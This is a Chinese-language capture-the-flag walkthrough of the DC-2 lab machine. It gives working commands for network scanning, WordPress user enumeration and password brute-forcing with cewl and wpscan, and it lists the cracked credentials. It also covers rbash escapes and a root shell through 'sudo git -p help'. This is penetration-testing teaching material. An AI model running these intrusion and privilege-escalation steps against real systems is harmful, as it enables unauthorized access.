dc-2内网靶

1、信息收集

入站信息

nmap扫描

nmap -A -p- -v 192.168.27.0/24

得到消息:

IP:192.168.227.139
cms:wordpress 4.7.10
开放端口及服务:80(http)、7744(ssh)

页面信息

访问ip发现跳转,猜测可能是域名重定向

修改hosts文件



重新访问,访问成功发现flag1

访问成功发现flag1

标志 1:

你通常的单词列表可能不起作用,所以相反,也许你只需要 cewl。

密码越多越好,但有时您无法全部赢得密码。

以一个身份登录以查看下一个标志。

如果找不到它,请以其他人身份登录。

提示:用cewl(CeWL是一款以爬虫模式在指定URL上收集单词的工具,可以将它收集到的单词纳入密码字典,以提高密码破解工具的成功率。)

目录爆破

dirb目录扫描工具
dirb http://dc-2

dirsearch工具
dirsearch -u http://dc-2/ -x 404,403

访问页面
http://dc-2/wp-admin

2、渗透开始

cewl生成字典

cewl http://dc-2/ -w pa.txt

wpscan枚举爆破

用户名获取

WPScan是一个扫描 WordPress 漏洞的黑盒子扫描器,它可以为所有 Web 开发人员扫描 WordPress 漏洞并在他们开发前找到并解决问题。我们还使用了 Nikto ,它是一款非常棒的Web 服务器评估工具,我们认为这个工具应该成为所有针对 WordPress网站进行的渗透测试的一部分

wpscan --url http://dc-2 -e u

得到三个用户名

admin Jerry tom
爆破
burp爆破

wpscan爆破
wpscan --url http://dc-2 -U user.txt -P pa.txt

得到两个用户名和密码

jerry adipiscing
tom parturient

登录

分别登录两个账号,jerry账号下面发现flag2

提示为

如果你无法利用 WordPress 并走捷径,还有另一种方法。
希望您找到另一个切入点。

提权

ssh连接

前面提示找另外一个切入点,不能在利用word press ,此时根据前面扫描发现ssh端口开启此时连接ssh

ssh

尝试登录发现只有tom登录成功

查看文件

权限限制

发现没有权限,并且有限制'-rbash',可以明显看出来是rbash逃逸

思路:1、根据一些漏洞穿越rbash,2、利用仅有的漏洞或者其他查看一些文件

此时查看当前用户可执行命令

echo $PATH 				//输出路径
echo /home/tom/usr/bin/* //输出可用命令

可以使用的命令有:less 、ls、scp、vi

/home/tom/usr/bin/less
/home/tom/usr/bin/ls
/home/tom/usr/bin/scp
/home/tom/usr/bin/vi

利用vi 或者less得到到第三个flag

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
可怜的老汤姆总是追赶杰瑞。 也许他应该忍受他造成的所有压力。

提示此时需要用su命令切换用户,但是此时可以使用的命令只有上面几个,那么接下来就要提权,而这里涉及的是切换用户逃逸

su命令,只会更改当前用户,而不会更改当前的用户环境,比如你从kali用户su到root账户中,当前路径仍是你刚才的路径,环境变量仍是kali用户的

su- 命令,则在更改当前用户信息的同时还会更改用户环境,但是假如你从kali 用户su -到root账户,你会发现你的当前路径已经变为/root/,环境变量也变了

rbash提权

详细的建议去看看rbash逃逸

less绕过
scp -S /path/yourscript x y:
ls绕过
vi绕过
set shell=/bin/bash
shell
echo $PATH
export PATH='/user/bin:/bin'

更改变量绕过
BASH_CMDS[a]=/bin/sh;a      //使用并添加环境变量
export PATH=$PATH:/bin/ //将/bin 作为PATH环境变量导出
export PATH=$PATH:/usr/bin //将/usr/bin作为PATH环境变量导出
切换用户

发现flag4

Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!
git提权

在flag4中表示还有一个flag,但是没有提示,在最后有一个git,那么此时应该是git提权

输入
sudo git -p help
在最后面输入:!/bin/bash
查看flag:
root@DC-2:~# cat final-flag.txt
__ __ _ _ _ _
/ / /\ \ \___| | | __| | ___ _ __ ___ / \
\ \/ \/ / _ \ | | / _` |/ _ \| '_ \ / _ \/ /
\ /\ / __/ | | | (_| | (_) | | | | __/\_/
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___\/ Congratulatons!!! A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.
If you enjoyed this CTF, send me a tweet via @DCAU7.

设及到的知识点:

Linux基本命令的使用

重定向

nmap扫描识别

目录爆破(敏感目录)

cewl的使用

wpscan的使用

ssh工具指定端口终端连接

rbash逃逸

git提权

dc-2靶机-超详解的更多相关文章

  1. html5的float属性超详解(display,position, float)(文本流)

    html5的float属性超详解(display,position, float)(文本流) 一.总结 1.文本流: 2.float和绝对定位都不占文本流的位置 3.普通流是默认定位方式,就是依次按照 ...

  2. HTML中DOM核心知识有哪些(带实例超详解)

    HTML中DOM核心知识有哪些(带实例超详解) 一.总结: 1.先取html元素,然后再对他进行操作,取的话可以getElementById等 2.操作的话,可以是innerHtml,value等等 ...

  3. Mysql超详解

    Mysql超详解 一.命令框基本操作及连接Mysql 找到Mysql安装路径,查看版本 同时按快捷键win+R会弹出一个框,在框中输入cmd 点击确定后会出现一个黑框,这是命令框,我们的操作要在这命令 ...

  4. Mybatis案例超详解(上)

    Mybatis案例超详解(上) 前言: 本来是想像之前一样继续跟新Mybatis,但由于种种原因,迟迟没有更新,快开学了,学了一个暑假,博客也更新了不少,我觉得我得缓缓,先整合一些案例练练,等我再成熟 ...

  5. Python3调用C程序(超详解)

    Python3调用C程序(超详解) Python为什么要调用C? 1.要提高代码的运算速度,C比Python快50倍以上 2.对于C语言里很多传统类库,不想用Python重写,想对从内存到文件接口这样 ...

  6. JUC中的AQS底层详细超详解

    摘要:当你使用java实现一个线程同步的对象时,一定会包含一个问题:你该如何保证多个线程访问该对象时,正确地进行阻塞等待,正确地被唤醒? 本文分享自华为云社区<JUC中的AQS底层详细超详解,剖 ...

  7. Android vector标签 PathData 画图超详解

    SVG是一种矢量图格式,是Scalable Vector Graphics三个单词的首字母缩写.在xml文件中的标签是<vector>,画出的图形可以像一般的图片资源使用,例子如下: &l ...

  8. 高斯消元法(Gauss Elimination)【超详解&模板】

    高斯消元法,是线性代数中的一个算法,可用来求解线性方程组,并可以求出矩阵的秩,以及求出可逆方阵的逆矩阵.高斯消元法的原理是:若用初等行变换将增广矩阵 化为 ,则AX = B与CX = D是同解方程组. ...

  9. POJ 1659 Frogs' Neighborhood(可图性判定—Havel-Hakimi定理)【超详解】

    Frogs' Neighborhood Time Limit: 5000MS   Memory Limit: 10000K Total Submissions: 9897   Accepted: 41 ...

  10. 【转】VMware虚拟机三种网络模式超详解

    [原文]https://www.toutiao.com/i6596228488666022403/ 由于Linux目前很热门,越来越多的人在学习Linux,但是买一台服务放家里来学习,实在是很浪费.那 ...

随机推荐

  1. 关于python:pip安装选项“ ignore-installed”和“ force-reinstall”之间的区别

    参考: https://www.codenong.com/51913361/ ==================================================== 官方文档解释: ...

  2. ubuntu22.04下安装nvidia-docker

    首先需要保证docker engine已经安装成功,具体见: https://www.cnblogs.com/devilmaycry812839668/p/17269122.html ======== ...

  3. JUC高并发编程详细教程

    1.大纲 2.课件 https://www.yuque.com/java51/avi/xevuo1 3.视频与代码 1.视频教程 2.视频资料领取,课程代码下载,加微信851298348,发送&quo ...

  4. MPTCP(六):MPTCP测试

    MPTCP测试 1.注意事项 测试主机已替换支持MPTCPv1的内核,并且已使能MPTCP,本次测试中使用的内核版本均为5.18.19 测试主机中确保已经正确配置了iproute2 和 mptcpd, ...

  5. 手把手教你安装MINIGUI编程环境 (MINIGUI版本3.2.0)

    0. MINIGUI MiniGUI 是一款面向嵌入式系统的高级窗口系统(Windowing System)和图形用户界面(Graphical User Interface,GUI)支持系统,由魏永明 ...

  6. GNU make-Makefile文件简介

    Makefile简介 Makefile是一种特殊格式的文件,被make工具使用来管理软件的构建过程.Makefile定义了一组规则和依赖关系,告诉make如何编译和链接程序. Makefile语句 T ...

  7. AutoMaper使用

    使用 AutoMapper 进行赋值 一. 什么是 AutoMapper AutoMapper是对象到对象的映射工具.在完成映射规则之后,AutoMapper可以将源对象转换为目标对象. 二. Aut ...

  8. autorun.inf 配置

    autorun.inf 文件是一个配置文件,通常用于可移动磁盘(如 USB 驱动器和 CD/DVD)来自动执行某些操作或配置一些设置.当插入可移动磁盘时,Windows 会读取 autorun.inf ...

  9. gcc 和 g++ 的区别

    gcc 和 g++ 是 GNU 编译器集合(GNU Compiler Collection,简称 GCC)中的两个不同命令,用于编译 C 和 C++ 代码.尽管它们都属于同一个编译器集合,但在处理 C ...

  10. C#项目—模拟考试

    C#模拟考试软件 开发了一个<模拟考试>的小软件,此小软件练习的目的主要是为了体会编程思想,深度理解高内聚.低耦合,掌握编程思维逻辑的大招,告别垃圾代码,重点体会编程之美,练习时长30分钟 ...